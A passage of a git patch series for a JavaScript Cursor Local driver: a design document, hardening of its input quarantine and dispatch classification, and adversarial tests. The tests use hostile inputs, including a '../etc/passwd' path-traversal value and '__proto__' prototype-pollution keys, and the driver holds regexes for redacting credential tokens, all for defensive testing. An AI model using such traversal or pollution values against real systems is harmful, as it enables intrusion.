context.bound.cancel(context.request('cancel')); + assert.equal(cancelReceipt.disposition, 'already_terminal'); + assert.equal(cancelReceipt.run_id, fixture.run_id); + assert.equal(cancelReceipt.child_envelope_digest, fixture.child_envelope_digest); +}); From 997fba8b53c5dc9053d77cac5f5b0c85343583d7 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:37:01 +0000 Subject: [PATCH 088/151] docs(provider): specify the cursor-local driver reconstruction Document the P19 cursor-local driver: exact provenance binding over the P17 ProviderDriverV1 contract, the one-spawn/one-acknowledged-dispatch lifecycle with distinct not_sent and dispatch_uncertain outcomes, attempt-once same-session attention replies, cancel/reattach/terminal- latch identity rules, persistent-window evidence redaction and UTF-8 byte bounds, the content-free structural quarantine shared by every surface, and the explicit non-goals (no direct-mode widening, supervisor/registry/ server cutover, durable store, or live qualification). --- docs/cursor-local-driver.md | 147 ++++++++++++++++++++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 docs/cursor-local-driver.md diff --git a/docs/cursor-local-driver.md b/docs/cursor-local-driver.md new file mode 100644 index 0000000..0212d00 --- /dev/null +++ b/docs/cursor-local-driver.md @@ -0,0 +1,147 @@ +# Cursor Local driver (P19) + +- Status: reconstructed against the accepted P17 driver contract + (`ProviderDriverV1`, ADR 0001 identifiers `exact_identities`, + `no_post_dispatch_fallback_or_replay`, `bounded_evidence`, + `gate_a_no_duplicate_dispatch`, + `gate_a_decision_or_attention_no_silent_unanswerable`). +- Scope: additive only. No existing module, surface, receipt, or legacy + 3.2.1 single-task behavior changed. +- Qualification: offline only. Nothing here runs a live Cursor Local CLI, + network, cloud service, or repository egress. + +## What ships + +`plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs` exposes: + +- `createCursorLocalDriverV1(options)` — binds an injected local session + transport to the four-operation `ProviderDriverV1` lifecycle and returns + `{ schema, version, provider, declaration, driver, controls }`. `driver` + is bindable with the P17 `bindProviderDriverV1(driver, declaration)`. +- `describeCursorLocalDriverV1()` — a frozen description of the closed + surface. It claims no transports of its own (`transports: []`), no + relaunch operations, no direct mode (`direct_mode: []`), no durable + store, and exactly the managed local worktree / `run_base_sha` + workspace posture. +- Closed constants for option keys, transport methods, control schemas, + bounds, vocabularies, and the redaction marker. + +The transport is a seam of six plain concrete functions — `availability`, +`spawn`, `send`, `observe`, `cancel`, `reply` — supplied by the host. The +driver owns none of them, spawns nothing itself, and performs no I/O. + +## Exact binding + +Every operation request must carry the exact compiled ChildEnvelopeV1 text +plus its raw lowercase 64-hex digest (digest-only launches are denied by +the P17 validators this module calls). On top of that proof the driver +requires, per lane: + +- `execution.provider` equal to `cursor-local` — unresolved (`-`) slots and + every other provider are refused; +- `execution.model` present and equal to the bound `model` option — omitted + models are never derived, near-misses never substitute; +- `repository.base_sha` equal to the bound `run_base_sha` option — the run + base never moves; managed local worktrees only; +- one lane identity per `(run_id, assignment_id)`; a different child + envelope digest on the same lane is refused as stale identity. + +A lane binding digest (`provider-run-identity.v1`) is computed over the +full provenance tuple and echoed by every transport result; echoes are +compared constant-time. A result that fails to echo the exact binding, or +a different live session id, is rejected as `uncorrelated_session`. + +## Lifecycle + +- **preflight** asks the transport whether the local Cursor route is + available. It never spawns and never sends. `blocked` carries the closed + detail pair; blocked lanes refuse launch forever. +- **launch** spawns at most once and dispatches at most once, ever. The + `dispatched` disposition requires the transport's authoritative + acknowledgement. A spawn failure stays pre-spawn `not_sent`; only the + explicit closed code `pre_write_failure` keeps a post-spawn failure in + honest `not_sent`; every other send failure after a successful spawn is + reported as `dispatch_uncertain`. There is no retry, resend, replay, + merge, fallback, or relaunch surface anywhere in the module. +- **reconcile** observes the exact spawned session with `observe` or + `restart_reattach` intent. Unsupported declared features fail closed. + Statuses map to `in_progress`, `unresolved_attention`, and `terminal`; + the terminal latch repeats identical receipts without contacting the + transport again. +- **cancel** addresses the exact original session. `confirmed` latches the + terminal state; `requested` keeps observing until the provider settles; + a terminal lane answers `already_terminal` without a transport call. + +## Same-session attention replies + +`controls.submitAttentionReply(request)` answers an outstanding attention +question inside the same live session. The reply is attempt-once: the +one-shot budget is consumed before the transport is touched, so a lying or +throwing transport can never earn a second attempt. It is bound to the +exact session id, question id, and bounded answer text; mismatches are +refused without consuming the budget or reaching the transport. An +unsupported reply posture refuses explicitly (`reply_unsupported`) before +any lane or transport contact and never starts a new prompt instead. Note +that the accepted P05 capability bridge pins `cursor-local` to +`live_session_reply`, so contradictory declarations fail at construction. + +## Bounded, redacted evidence + +All host-visible text — progress lines, event chunks, question text, and +the terminal flush — flows through one persistent per-lane redaction window +and then through UTF-8 byte bounds (8 KiB per segment, 64 segments, 64 KiB +per lane; answers up to 16 KiB). The window holds back a bounded tail so a +Bearer, Basic, API-key/token assignment, `sk-`/`ghp_`/AKIA-shaped token, +credential, or long hex envelope-digest signature split across leaves, +chunks, events, or reconciliations recombines only inside the window and +is redacted there before any host-visible byte exists. Overflow sets +`truncated` and drops further input silently; bounding failures are never +errors. Sub-window tails become visible at the terminal latch flush. +Segments cut on multi-byte boundaries round trip as valid UTF-8. + +`controls.readEvidence(request)` drains frozen segments with exact UTF-8 +byte accounting; draining is stable and non-consuming. + +## Content-free quarantine + +Options, both control requests, and every transport result pass through +one content-free structural quarantine built from the accepted P05/P17 +closures plus the P17 request/result validators: live and revoked Proxies, +accessors (getters/setters), symbols, non-enumerables, own `undefined`, +exotic prototypes, sparse arrays, cycles, aliases, unknown keys, and +oversized depth are all rejected without running any caller code — getters +and proxy traps never execute. Transport failures are classified through a +plain own-data-property read of a closed code vocabulary only; everything +else becomes honest post-spawn uncertainty. Every error surface — +preflight, spawn, dispatch, observe, cancel, reattach, reply, identity, +extra-key, validation — throws typed `RunContractV1Error`s whose codes, +paths, and messages carry fixed templates only: hostile names and values +never escape into anything host-visible. + +## Non-goals + +No direct-mode widening; no supervisor, registry, server, or durable-store +cutover; no scheduler; no protected-ref mutation; no merge authority; no +create-PR path; no provider transport compiled into the module; no live +Cursor Local qualification in this slice; no change to legacy 3.2.1 +single-task behavior or public receipt compatibility. + +## Testing + +Offline coverage lives beside the module: + +- `test/r1-cursor-local-driver.test.mjs` — lifecycle, identity echo, + one-spawn/one-ack dispatch, reply attempt-once, cancel/reattach/latch, + evidence bounds. +- `test/r1-cursor-local-driver-adversarial.test.mjs` — hostile inputs, + substitution, replay, uncorrelated sessions, recombination, overflow, + content-free error surfaces. +- `test/fixtures/r1-cursor-local-transport.mjs` — scripted transport stubs; + no real CLI, network, or repository is touched. + +Run from `plugins/codex-co-engineer`: + +``` +node --no-warnings --test test/r1-cursor-local-driver.test.mjs \ + test/r1-cursor-local-driver-adversarial.test.mjs +``` From 03b6d3b1856e725d915dbfc19e8c8fdace0b5a98 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:39:09 +0000 Subject: [PATCH 089/151] fix(provider): close the option quarantine and session-correlation seam Drive the option quarantine to full content-free closure: symbol-keyed and non-enumerable own properties on driver options are now rejected explicitly, and unknown-key refusals no longer echo the hostile property name into codes, paths, or messages. The scripted transport gains a correlation-loss scenario whose observation reports a reborn session id, proving the lane refuses to bind an uncorrelated session while cancellation still addresses the exact original one. --- .../mcp/v3/cursor-local-driver.mjs | 193 +++++++-- .../fixtures/r1-cursor-local-transport.mjs | 4 +- ...1-cursor-local-driver-adversarial.test.mjs | 399 +++++++++++++++++- .../test/r1-cursor-local-driver.test.mjs | 1 - 4 files changed, 553 insertions(+), 44 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs index 7890952..46e17eb 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs @@ -14,8 +14,11 @@ // substitute; // - at most one spawn and at most one prompt dispatch per lane; the // `dispatched` disposition requires the transport's authoritative -// acknowledgement; a pre-send spawn failure stays `not_sent` and is -// kept strictly distinct from post-spawn `dispatch_uncertain`; +// acknowledgement; after a successful spawn launch never throws — a +// pre-send spawn failure stays `not_sent`, a pre-write send failure is +// `not_sent` only once a confirmed teardown proves no session survives, +// and every other post-spawn failure (missing or thrown +// acknowledgement included) is honest `dispatch_uncertain`; // - same-session attention replies are attempt-once and bound to the // exact session, question, and answer; an unsupported reply posture // refuses explicitly without touching the transport; @@ -27,7 +30,8 @@ // token, Bearer, API-key, envelope-digest, and prompt signatures // cannot recombine across leaves, chunks, events, or reconciliations; // - every error surface is closed and content-free: hostile names and -// values never appear in codes, paths, or messages; +// values never appear in codes, paths, or messages, and every transport +// result must carry exactly its operation's closed key vocabulary; // - managed local worktrees and run_base_sha only: no direct-mode // widening, supervisor/registry/server cutover, durable store, or // protected-ref mutation. Legacy 3.2.1 behavior and public receipts @@ -44,6 +48,7 @@ import { capturedIncludes, capturedIsArray, capturedJoin, + capturedOwnKeys, capturedTest, capturedUtf8ByteLength, } from './grammar.mjs'; @@ -93,6 +98,22 @@ export const CURSOR_LOCAL_TRANSPORT_METHODS = capturedFreeze([ 'availability', 'cancel', 'observe', 'reply', 'send', 'spawn', ]); +// Closed allowed-key vocabularies for every transport result. A result +// carrying any key outside its operation's vocabulary is rejected before a +// single value is inspected, so hostile extra keys (and their names and +// values) can never reach an error surface or a host-visible field. +export const CURSOR_LOCAL_TRANSPORT_RESULT_KEYS = capturedFreeze({ + availability: capturedFreeze(['available']), + spawn: capturedFreeze(['binding_digest', 'session_id']), + send: capturedFreeze(['acknowledged', 'binding_digest', 'session_id']), + observe: capturedFreeze([ + 'binding_digest', 'events', 'progress_text', 'question', 'session_id', + 'status', + ]), + cancel: capturedFreeze(['binding_digest', 'outcome', 'session_id']), + reply: capturedFreeze(['answered', 'binding_digest', 'session_id']), +}); + export const CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID = 'codex-co-engineer.cursor-local-evidence-request.v1'; export const CURSOR_LOCAL_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-local-evidence.v1'; @@ -144,6 +165,8 @@ const SIGNATURE_PATTERNS = capturedFreeze([ /\b(?:sk|xai)-[A-Za-z0-9_-]{8,}\b/giu, /\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,}\b/giu, /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/giu, + /\bsha256:[0-9a-f]{64}\b/giu, + /\b[0-9a-f]{64}\b/giu, /\b(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key)(?:\s*[:=]\s*)\s*(?:"[^"]*"|'[^']*'|[^\s,;&'"]+)/giu, ]); @@ -310,17 +333,26 @@ function requireExactString(source, key, path, pattern, code) { return value; } -function readTransportResult(result, path) { +function readTransportResult(result, path, allowedKeys) { // One structural quarantine for every transport result: proxies, // accessors, symbols, non-enumerables, exotic prototypes, sparse arrays, // cycles, aliases, and unknown shapes are rejected without running any - // caller code, before a single field is read. + // caller code, before a single field is read. The closed allowed-key + // vocabulary is enforced BEFORE the deep walk, so an extra key is + // rejected content-free no matter how hostile its name, shape, or value + // is; no descriptor of an out-of-vocabulary value is ever taken. if (result === null || result === undefined) { fail('invalid_transport_result', path, 'The transport returned no result object.'); } assertNotProxy(result, path); - assertDirectJsonClosure(result, path); assertPlainObject(result, 'invalid_transport_result', path, path); + for (const key of Object.keys(result)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('invalid_transport_result', path, + 'The transport result carries a key outside the closed schema.'); + } + } + assertDirectJsonClosure(result, path); return result; } @@ -424,14 +456,17 @@ function quarantineControlRequest(request, allowedKeys, schemaId, path) { fail('invalid_type', path, `${path} must be a plain request object.`); } assertNotProxy(request, path); - assertDirectJsonClosure(request, path); assertPlainObject(request, 'invalid_type', path, path); + // Extra keys are rejected BEFORE the deep closure walk: an unknown key is + // refused content-free (fixed code, fixed path, fixed message), so a + // hostile key name never enters an error surface and no descriptor, + // getter, or proxy trap of its value is ever touched. for (const key of Object.keys(request)) { if (!capturedIncludes(allowedKeys, key)) { - fail('unknown_key', `${path}.${key}`, - `${path} carries a key outside the closed schema.`); + fail('unknown_key', path, `${path} carries a key outside the closed schema.`); } } + assertDirectJsonClosure(request, path); for (const key of allowedKeys) { if (!hasOwn(request, key)) { fail('missing_key', `${path}.${key}`, `${path}.${key} is required; nothing is derived.`); @@ -496,8 +531,8 @@ function requireFeature(declaration, feature, path) { const DETAIL_MESSAGES = freezeData({ dispatch_not_written: freezeData({ detail_code: 'dispatch_not_written', - detail_message: 'The transport guaranteed that no prompt bytes were written; ' - + 'nothing reached the provider.', + detail_message: 'The transport guaranteed that no prompt bytes were written and ' + + 'confirmed the session teardown; nothing reached the provider.', }), spawn_unavailable: freezeData({ detail_code: 'spawn_unavailable', @@ -527,9 +562,30 @@ export function createCursorLocalDriverV1(options) { // closure. Neither pass ever invokes caller code. assertNotProxy(options, path); assertPlainObject(options, 'invalid_type', path, path); + let optionOwnKeys; + try { + optionOwnKeys = capturedOwnKeys(options); + } catch { + fail('invalid_type', path, 'Option keys could not be inspected safely.'); + } + for (const key of optionOwnKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path} carries a symbol-keyed property; options are direct data only.`); + } + } + // Hostile property NAMES never appear in codes, paths, or messages: the + // closed templates below carry no caller-derived text at all. + for (const key of optionOwnKeys) { + const descriptor = capturedDescriptor(options, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; options are plain data.`); + } + } for (const key of Object.keys(options)) { if (!capturedIncludes(CURSOR_LOCAL_OPTION_KEYS, key)) { - fail('unknown_key', `${path}.${key}`, `${path} carries a key outside the closed option set.`); + fail('unknown_key', path, `${path} carries a key outside the closed option set.`); } } for (const key of ['declaration', 'model', 'run_base_sha', 'transport']) { @@ -706,6 +762,41 @@ export function createCursorLocalDriverV1(options) { return receipt; } + // Post-spawn launch failures never throw. A session spawned by the + // transport may still be live, and only a confirmed teardown before the + // return can prove otherwise; every unproven case is therefore reported + // as dispatch_uncertain with the exact lane identity intact. + function uncertainDispatch(lane, view, request) { + lane.phase.sendUncertain = true; + lane.state = 'dispatch_uncertain'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } + + // The one path out of live-session classification: cancel the exact + // spawned session and accept only a well-formed confirmed result that + // echoes the exact binding digest and session id. Anything else — a + // throw, a lie, a malformed result, an unconfirmed outcome — leaves the + // classification honestly uncertain. + function confirmTeardown(lane) { + const cancelRequest = freezeData({ + binding_digest: lane.bindingDigest, + session_id: lane.phase.sessionId, + }); + const teardownOutcome = callTransport(transportMethods, 'cancel', cancelRequest); + if (!teardownOutcome.ok) return false; + try { + const tornDown = readTransportResult(teardownOutcome.value, + 'driver.launch.teardown.result', CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.cancel); + if (!digestsEqual(optOwn(tornDown, 'binding_digest'), lane.bindingDigest)) return false; + if (optOwn(tornDown, 'session_id') !== lane.phase.sessionId) return false; + return optOwn(tornDown, 'outcome') === 'confirmed'; + } catch { + return false; + } + } + const driver = {}; capturedDefineProperty(driver, 'preflight', { @@ -736,7 +827,8 @@ export function createCursorLocalDriverV1(options) { request, declaration, ); } - const availability = readTransportResult(outcome.value, 'driver.preflight.availability.result'); + const availability = readTransportResult(outcome.value, 'driver.preflight.availability.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.availability); const available = optOwn(availability, 'available'); if (available !== true && available !== false) { fail('invalid_transport_result', 'driver.preflight.availability.result.available', @@ -788,10 +880,24 @@ export function createCursorLocalDriverV1(options) { request, declaration, ); } - const spawned = readTransportResult(spawnOutcome.value, 'driver.launch.spawn.result'); - const sessionId = requireExactString(spawned, 'session_id', 'driver.launch.spawn.result', - SESSION_ID_PATTERN, 'invalid_transport_result'); - requireBindingEcho(spawned, lane.bindingDigest, 'driver.launch.spawn.result'); + let sessionId; + try { + const spawned = readTransportResult(spawnOutcome.value, 'driver.launch.spawn.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.spawn); + sessionId = requireExactString(spawned, 'session_id', 'driver.launch.spawn.result', + SESSION_ID_PATTERN, 'invalid_transport_result'); + requireBindingEcho(spawned, lane.bindingDigest, 'driver.launch.spawn.result'); + } catch { + // The transport returned from spawn, so a session may be live and + // its result is unusable. Never throw past a successful spawn: mark + // the one spawn as spent (no respawn, no fallback) and report + // dispatch_uncertain with the exact lane identity. + lane.phase.spawned = true; + lane.state = 'dispatch_uncertain'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } lane.phase.spawned = true; lane.phase.sessionId = sessionId; lane.state = 'spawned'; @@ -807,24 +913,38 @@ export function createCursorLocalDriverV1(options) { const sendOutcome = callTransport(transportMethods, 'send', sendRequest); if (!sendOutcome.ok) { if (safeErrorCode(sendOutcome.error) === TRANSPORT_PRE_WRITE_FAILURE_CODE) { - lane.state = 'not_sent'; - return validateDriverLaunchResultV1( - receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_prewrite), - request, declaration, - ); + // not_sent is only honest once the spawned session is provably + // gone: cancel it and accept only a confirmed teardown. A live or + // unverifiable session is never classified not_sent. + if (confirmTeardown(lane)) { + lane.state = 'terminal'; + lane.terminalReason = 'cancelled'; + flushLaneWindow(lane); + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_prewrite), + request, declaration, + ); + } + return uncertainDispatch(lane, view, request); } - lane.phase.sendUncertain = true; - lane.state = 'dispatch_uncertain'; - return validateDriverLaunchResultV1( - receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, - ); + return uncertainDispatch(lane, view, request); + } + let sent; + try { + sent = readTransportResult(sendOutcome.value, 'driver.launch.send.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.send); + requireBindingEcho(sent, lane.bindingDigest, 'driver.launch.send.result'); + requireSessionEcho(sent, sessionId, 'driver.launch.send.result'); + } catch { + // A malformed, lying, or extra-keyed send result leaves the prompt + // unacknowledged while the session may be live: honest uncertainty, + // never a thrown error and never a second attempt. + return uncertainDispatch(lane, view, request); } - const sent = readTransportResult(sendOutcome.value, 'driver.launch.send.result'); - requireBindingEcho(sent, lane.bindingDigest, 'driver.launch.send.result'); - requireSessionEcho(sent, sessionId, 'driver.launch.send.result'); if (optOwn(sent, 'acknowledged') !== true) { - fail('acknowledgement_required', 'driver.launch.send.result.acknowledged', - 'The transport must authoritatively acknowledge the prompt before dispatched.'); + // Missing or false acknowledgement keeps the session live without + // proof of delivery or of non-delivery: dispatch_uncertain. + return uncertainDispatch(lane, view, request); } lane.phase.acked = true; lane.state = 'dispatched'; @@ -868,7 +988,8 @@ export function createCursorLocalDriverV1(options) { fail('observe_failed', 'driver.reconcile.observe', 'The transport observation failed; the lane keeps its exact identity and state.'); } - const observed = readTransportResult(observeOutcome.value, 'driver.reconcile.observe.result'); + const observed = readTransportResult(observeOutcome.value, 'driver.reconcile.observe.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.observe); requireBindingEcho(observed, lane.bindingDigest, 'driver.reconcile.observe.result'); requireSessionEcho(observed, lane.phase.sessionId, 'driver.reconcile.observe.result'); const status = requireExactString(observed, 'status', 'driver.reconcile.observe.result', @@ -975,7 +1096,8 @@ export function createCursorLocalDriverV1(options) { fail('cancel_failed', 'driver.cancel', 'The cancellation request failed; the lane keeps its exact identity and state.'); } - const cancelled = readTransportResult(cancelOutcome.value, 'driver.cancel.result'); + const cancelled = readTransportResult(cancelOutcome.value, 'driver.cancel.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.cancel); requireBindingEcho(cancelled, lane.bindingDigest, 'driver.cancel.result'); requireSessionEcho(cancelled, lane.phase.sessionId, 'driver.cancel.result'); const outcome = requireExactString(cancelled, 'outcome', 'driver.cancel.result', @@ -1051,7 +1173,8 @@ export function createCursorLocalDriverV1(options) { fail('reply_transport_failed', 'cursor_local.reply', 'The same-session reply failed once and will never be retried.'); } - const replied = readTransportResult(replyOutcome.value, 'cursor_local.reply.result'); + const replied = readTransportResult(replyOutcome.value, 'cursor_local.reply.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.reply); requireBindingEcho(replied, lane.bindingDigest, 'cursor_local.reply.result'); requireSessionEcho(replied, sessionId, 'cursor_local.reply.result'); if (optOwn(replied, 'answered') !== true) { diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs index d3c6519..f7b1bc2 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs @@ -185,10 +185,12 @@ export function createCursorLocalTransportStub(scenario = 'happy', overrides = { state.observes += 1; record('observe', request); if (scenario === 'session_lost' && state.observes === 1) { + // The provider reports a different live session id: correlation is + // broken and the lane must refuse to bind the uncorrelated session. return { binding_digest: binding(request), events: ['progress line'], - session_id: request.session_id, + session_id: `${request.session_id}-reborn`, status: 'running', }; } diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs index 2d062a5..8ceaee6 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs @@ -21,11 +21,13 @@ import { MAX_EVIDENCE_EVENTS, MAX_EVIDENCE_SEGMENT_BYTES, MAX_LANE_EVIDENCE_BYTES, + REDACTED_MARKER, createCursorLocalDriverV1, } from '../mcp/v3/cursor-local-driver.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; import { + FIXTURE_QUESTION_ID, SECRET_AWS_KEY, SECRET_BEARER_TOKEN, SECRET_SPLIT_HEAD, @@ -66,6 +68,12 @@ function expectCode(fn, code, message) { function create(scenario = 'happy', options = {}) { const stub = createCursorLocalTransportStub(options.scenario ?? scenario); + // Wraps are installed BEFORE driver construction: the driver detaches its + // method references at creation, exactly like a real host would. + for (const [method, wrap] of Object.entries(options.wrap ?? {})) { + const original = stub.transport[method]; + stub.transport[method] = (request) => wrap(original, request); + } const created = createCursorLocalDriverV1({ declaration: cursorLocalDeclaration(), model: fixture.model, @@ -368,10 +376,17 @@ test('lying transports produce content-free typed failures only', () => { }, }, }); + // After a successful spawn launch may never throw: a getter-bearing spawn + // result leaves a live session with an unusable proof, which is honest + // dispatch_uncertain — and the getter itself is still never invoked. const poisonedBound = bindProviderDriverV1(poisoned.driver, poisoned.declaration); poisonedBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); - expectCode(() => poisonedBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), - 'accessor_property_denied', 'getter-bearing spawn results are refused structurally'); + const poisonedReceipt = + poisonedBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(poisonedReceipt.disposition, 'dispatch_uncertain', + 'getter-bearing spawn results become post-spawn uncertainty, never a throw'); + assert.equal(poisonedReceipt.child_envelope_digest, fixture.child_envelope_digest, + 'the uncertain receipt keeps the exact child identity'); assert.equal(getterCounter.reads, 0, 'result getters are never invoked'); }); @@ -500,15 +515,17 @@ test('hostile control requests stay inside the content-free quarantine', () => { expectCode(() => context.created.controls.submitAttentionReply(new Proxy(replyBase(), {})), 'proxy_denied', 'proxied replies are denied'); + // Extra keys are rejected content-free BEFORE any value inspection, so + // hostility is exercised through closed keys below. const cyclic = replyBase(); - cyclic.self = {}; - cyclic.self.self = cyclic.self; + cyclic.answer_text = cyclic; expectCode(() => context.created.controls.submitAttentionReply(cyclic), - 'aliased_reference_denied', 'cyclic replies are denied'); + 'aliased_reference_denied', 'cyclic replies are denied inside a closed key'); const aliased = replyBase(); const shared = { lane: 1 }; - aliased.extra = shared; - expectCode(() => context.created.controls.submitAttentionReply({ ...aliased, extra2: shared }), + aliased.envelope_text = shared; + aliased.child_envelope_digest = shared; + expectCode(() => context.created.controls.submitAttentionReply(aliased), 'aliased_reference_denied', 'aliased replies are denied inside the same quarantine'); let depth = { v: 0 }; for (let index = 0; index < 40; index += 1) depth = { nested: depth }; @@ -518,6 +535,53 @@ test('hostile control requests stay inside the content-free quarantine', () => { expectCode(() => context.created.controls.readEvidence( new Proxy(evidenceRequest(), {}), ), 'proxy_denied', 'proxied evidence requests are denied'); + + // Extra control-request keys are refused content-free: fixed code, fixed + // path, fixed message — and the hostile value is never inspected at all, + // so accessors never run and proxy traps never fire. + let extraGetterRuns = 0; + const getterValue = {}; + Object.defineProperty(getterValue, 'polluted', { + enumerable: true, + get() { + extraGetterRuns += 1; + return '__proto__'; + }, + }); + let trapCount = 0; + const trappedValue = new Proxy({}, { + get() { + trapCount += 1; + return undefined; + }, + has() { + trapCount += 1; + return true; + }, + ownKeys() { + trapCount += 1; + return []; + }, + getOwnPropertyDescriptor() { + trapCount += 1; + return undefined; + }, + }); + expectCode(() => context.created.controls.submitAttentionReply( + { ...replyBase(), polluted: getterValue }, + ), 'unknown_key', 'extra reply keys are rejected content-free'); + assert.equal(extraGetterRuns, 0, 'extra-key values are never read'); + expectCode(() => context.created.controls.readEvidence( + { ...evidenceRequest(), polluted: trappedValue }, + ), 'unknown_key', 'extra evidence keys are rejected content-free'); + assert.equal(trapCount, 0, 'extra-key proxies are never trapped'); + const protoNamed = replyBase(); + Object.defineProperty(protoNamed, '__proto__', { + enumerable: true, + value: { polluted: true }, + }); + expectCode(() => context.created.controls.submitAttentionReply(protoNamed), + 'unknown_key', 'prototype-shaped extra key names stay content-free'); }); test('terminal receipts keep exact identity under repetition and hostile echoes', () => { @@ -544,3 +608,324 @@ test('terminal receipts keep exact identity under repetition and hostile echoes' assert.equal(cancelReceipt.run_id, fixture.run_id); assert.equal(cancelReceipt.child_envelope_digest, fixture.child_envelope_digest); }); + +function assertExactIdentity(receipt, label) { + assert.equal(receipt.run_id, fixture.run_id, `${label} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} echoes child_envelope_digest`); +} + +test('after spawn success launch never throws: unusable spawn proofs stay dispatch_uncertain', () => { + // Row 1 of the bound-driver rejection: a transport that returns from + // spawn but then lies, omits, adds keys, or hides accessors leaves a live + // session with an unusable proof. Launch must never throw past spawn; it + // reports dispatch_uncertain exactly once and can never respawn. + const spawnVariants = [ + ['missing session id', () => ({}), 0], + ['extra key beside the spawn proof', + () => ({ binding_digest: `sha256:${'7'.repeat(64)}`, polluted: { x: 1 }, session_id: 'sess-x' }), 0], + ['garbage session id', + () => ({ binding_digest: `sha256:${'7'.repeat(64)}`, session_id: '../etc/passwd' }), 0], + ['wrong binding echo', + () => ({ binding_digest: `sha256:${'0'.repeat(64)}`, session_id: 'sess-x' }), 0], + ['accessor session id', () => { + const result = { binding_digest: `sha256:${'7'.repeat(64)}` }; + Object.defineProperty(result, 'session_id', { + enumerable: true, + get() { + getterReads.spawn += 1; + return 'sess-x'; + }, + }); + return result; + }, 0], + ]; + const getterReads = { spawn: 0 }; + for (const [label, mutate] of spawnVariants) { + const context = create('happy', { wrap: { spawn: (original, request) => mutate(original(request)) } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', `${label}: honest uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(JSON.stringify(receipt).includes('polluted'), false, + `${label}: no hostile name in the receipt`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: at most one spawn ever`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: a possibly-spawned lane is never respawned or fallen back`); + assert.equal(context.stub.state.spawnCalls, 1, + `${label}: relaunch attempts spawn nothing`); + assert.equal(context.stub.state.sends, 0, `${label}: nothing is dispatched on a dead proof`); + expectCode(() => context.bound.reconcile(context.request('reconcile')), 'not_dispatched', + `${label}: no prompt was attempted, so there is nothing to reconcile`); + expectCode(() => context.bound.cancel(context.request('cancel')), 'not_dispatched', + `${label}: no prompt was attempted, so there is nothing to cancel`); + } + assert.equal(getterReads.spawn, 0, 'spawn-result getters are never invoked'); +}); + +test('a live session without acknowledgement is dispatch_uncertain, never thrown and never resent', () => { + // Row 1 continuation: the send itself ran against a live session but its + // result cannot prove delivery — missing/false acknowledgement, lying + // echoes, extra keys, and accessor bombs all stay honest uncertainty. + const sendVariants = [ + ['acknowledgement missing', (result) => { + const { acknowledged, ...rest } = result; + void acknowledged; + return rest; + }], + ['acknowledgement false', (result) => ({ ...result, acknowledged: false })], + ['extra key beside acknowledgement', (result) => ({ ...result, polluted: { deep: '__proto__' } })], + ['session echo substituted', + (result) => ({ ...result, session_id: `${result.session_id}-reborn` })], + ['binding echo corrupted', (result) => ({ ...result, binding_digest: `sha256:${'f'.repeat(64)}` })], + ['accessor acknowledgement', (result) => { + const forged = { ...result }; + delete forged.acknowledged; + Object.defineProperty(forged, 'acknowledged', { + enumerable: true, + get() { + getterReads.send += 1; + return true; + }, + }); + return forged; + }], + ]; + const getterReads = { send: 0 }; 